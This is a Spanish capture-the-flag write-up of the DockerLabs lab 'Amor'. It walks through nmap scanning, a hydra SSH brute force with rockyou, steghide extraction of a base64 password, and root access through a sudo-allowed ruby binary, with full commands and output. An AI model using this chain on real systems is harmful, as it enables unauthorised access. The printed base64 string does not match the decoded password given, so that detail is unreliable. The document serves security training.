

## DockerLabs - Amor

**Writeup:** Amor

**Autor:** David Cardozo

**Fecha de Desarrollo:** 06/12/24

**Plataforma:** DockerLabs

**Nivel de Dificultad:** Facil

### Temáticas Tratadas:

- Hydra
- SSH
- Steghide



---

### 1. Descripción General

En esta maquina vamos a probar fuerza bruta a un usuario en especifico con hydra, ya que al no conseguir ningun directorio en la web, fue la unica forma, al entrar como dicho usuario podemos ver un archivo llamado secret.txt con un texto en base64 el cual decodificandolo podemos ver una contraseña la cual nos va a servir para escalar privilegios como otro usuario, y asi hasta convertirnos en root

---

## 2. Reconocimiento

### Reconocimiento Inicial

- **Escaneo de puertos:** 22,80
- **Servicios encontrados:** SSH, HTTP

Escaneando un poco con nmap logramos ver el puerto 22 y 80 abiertos por lo que procedemos a ver que corren por dentro de dichos puertos, y para de paso ver su versión.

```
ix4lack ~/DockerLabs/Amor >> nmap -p- --open --min-rate 5000 -n -Pn -vvv 172.17.0.2 -oG Allports
Starting Nmap 7.95 ( https://nmap.org ) at 2024-12-07 02:44 UTC
Initiating Connect Scan at 02:44
Scanning 172.17.0.2 [65535 ports]
Discovered open port 22/tcp on 172.17.0.2
Discovered open port 80/tcp on 172.17.0.2
Completed Connect Scan at 02:45, 4.16s elapsed (65535 total ports)
Nmap scan report for 172.17.0.2
Host is up, received user-set (0.00026s latency).
Scanned at 2024-12-07 02:44:56 UTC for 4s
Not shown: 65533 closed tcp ports (conn-refused)
PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack
80/tcp    open  http    syn-ack

Read data files from: /usr/bin/./share/nmap
Nmap done: 1 IP address (1 host up) scanned in 4.31 seconds
ix4lack ~/DockerLabs/Amor >> |
```

```
ix4lack ~/DockerLabs/Amor >> nmap -sCV -p22,80 172.17.0.2 -oG ScanPorts
Starting Nmap 7.95 ( https://nmap.org ) at 2024-12-07 02:45 UTC
Nmap scan report for 172.17.0.2 (172.17.0.2)
Host is up (0.00021s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 7e:72:b6:8b:5f:7c:23:64:dc:15:21:32:5f:ce:40:0a (ECDSA)
|_  256 05:8a:a7:27:0f:88:b9:70:84:ec:6d:33:dc:ce:09:6f (ED25519)
80/tcp    open  http     Apache httpd 2.4.58 ((Ubuntu))
|_ http-title: SecurSEC S.L
|_ http-server-header: Apache/2.4.58 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.20 seconds
ix4lack ~/DockerLabs/Amor >> |
```

Ahora procedemos a acceder a la web para ver su contenido previo, y al entrar vemos que dice que hay una contraseña vulnerable que un empleado filtro, y por eso lo despiden y todo eso firmado por carlota.

**Ataque de phishing**

Se detectó un intento de ataque de phishing dirigido a los empleados. Por favor, estén atentos y no proporcionen información confidencial por correo electrónico.

**Actualización de software**

Recordatorio: Asegúrese de mantener actualizados todos los programas y sistemas operativos en su dispositivo para protegerse contra vulnerabilidades de seguridad conocidas.

**Contraseña débil detectada**

Se ha identificado una contraseña débil en una cuenta de usuario. Por favor, cambie la contraseña por una más segura que incluya caracteres especiales y números.

**¡Importante! Despido de empleado**

Juan fue despedido de la empresa por enviar un correo con la contraseña a un compañero.

**Firmado:** Carlota, Departamento de ciberseguridad

**Intento de acceso no autorizado**

Se registraron múltiples intentos de acceso no autorizado a los servidores de la empresa desde una dirección IP desconocida. Se ha bloqueado el acceso y se está investigando el incidente.

Intentado reconocer directorios no encontramos nada lo cual nos funciona para lograr una posible intrusión por lo que procedemos a realizar fuerza bruta con el usuario carlota.

### 3. Explotación

#### Fase de Explotación

Al aplicar fuerza bruta al usuario carlota por medio de hydra al puerto 22 de ssh, logramos ver que la contraseña de dicho usuario es `babygirl`.

```
ix4lack ~/DockerLabs/Amor >> hydra -l carlota -P /usr/share/dict/rockyou.txt ssh://172.17.0.2
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-07 03:10:38
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2  login: carlota  password: babygirl
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-07 03:10:43
ix4lack ~/DockerLabs/Amor >> |
```

por lo que procedemos a ingresar por ssh para ver que tiene este usuario. Al ingresar vemos la siguiente ruta la cual nos lleva a una imagen procedemos a descargarla.

`Desktop/fotos/vacaciones/imagen.jpg`

```

carlota@c60f97919dde:~$ ls
Desktop
carlota@c60f97919dde:~$ cd Desktop/
carlota@c60f97919dde:~/Desktop$ ls
fotos
carlota@c60f97919dde:~/Desktop$ cd fotos/
carlota@c60f97919dde:~/Desktop/fotos$ ls
vacaciones
carlota@c60f97919dde:~/Desktop/fotos$ cd vacaciones/
carlota@c60f97919dde:~/Desktop/fotos/vacaciones$ ls
imagen.jpg
carlota@c60f97919dde:~/Desktop/fotos/vacaciones$ |

```

```

ix4lack ~/DockerLabs/Amor >> scp carlota@172.17.0.2:/home/carlota/Desktop/fotos/vacaciones/imagen.jpg _
carlota@172.17.0.2's password:
imagen.jpg
ix4lack ~/DockerLabs/Amor >>

```

Ahora a dicha imagen le vamos a intentar extraer su contenido con `steghide` . con el siguiente comando. `steghide extract -sf imagen.jpg` . Si dejamos el campo de contraseña vacío vemos que se nos descarga un archivo llamado `secret.txt`

```

ix4lack ~/DockerLabs/Amor >> steghide extract -sf imagen.jpg
Enter passphrase:
wrote extracted data to "secret.txt".
ix4lack ~/DockerLabs/Amor >> cat secret.txt

```

	File: secret.txt
1	ZXNsYWVhcn2FkZXBpbnlwb24=

```

ix4lack ~/DockerLabs/Amor >>

```

por lo que como esta en base64 vamos a descifrarlo para así ver su contenido. y vemos que es una contraseña `eslacasadepinypon` . por lo que vamos a volver a ingresar por ssh con el usuario carlota para poder autenticarnos con esta contraseña como el usuario oscar.

Después de escalar privilegios como el usuario oscar si colocamos el comando `sudo -l` vemos como podemos ejecutar ruby como cualquier usuario por lo que vamos a escalar privilegios por medio de esto.

```
carlota@c60f97919dde:/home$ ls
carlota  oscar  ubuntu
carlota@c60f97919dde:/home$ su oscar
Password:
$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
oscar@c60f97919dde:/home$ sudo -l
Matching Defaults entries for oscar on c60f97919dde:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User oscar may run the following commands on c60f97919dde:
    (ALL) NOPASSWD: /usr/bin/ruby
oscar@c60f97919dde:/home$ |
```

---

## 4. Escalada de Privilegios

### Escalada Local

Para escalar privilegios con ruby vamos a utilizar `GTF0Bins` el comando que nos va a ayudar a escalar privilegios.

#### Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo ruby -e 'exec "/bin/sh"'
```

Y listo nos hemos escalado privilegios correctamente y ahora somos el usuario root.

```
carlota@c60f97919dde:/home$ ls
carlota  oscar  ubuntu
carlota@c60f97919dde:/home$ su oscar
Password:
$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
oscar@c60f97919dde:/home$ sudo -l
Matching Defaults entries for oscar on c60f97919dde:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User oscar may run the following commands on c60f97919dde:
    (ALL) NOPASSWD: /usr/bin/ruby
oscar@c60f97919dde:/home$

    sudo ruby -e 'exec "/bin/sh"'

# whoami
root
# |
```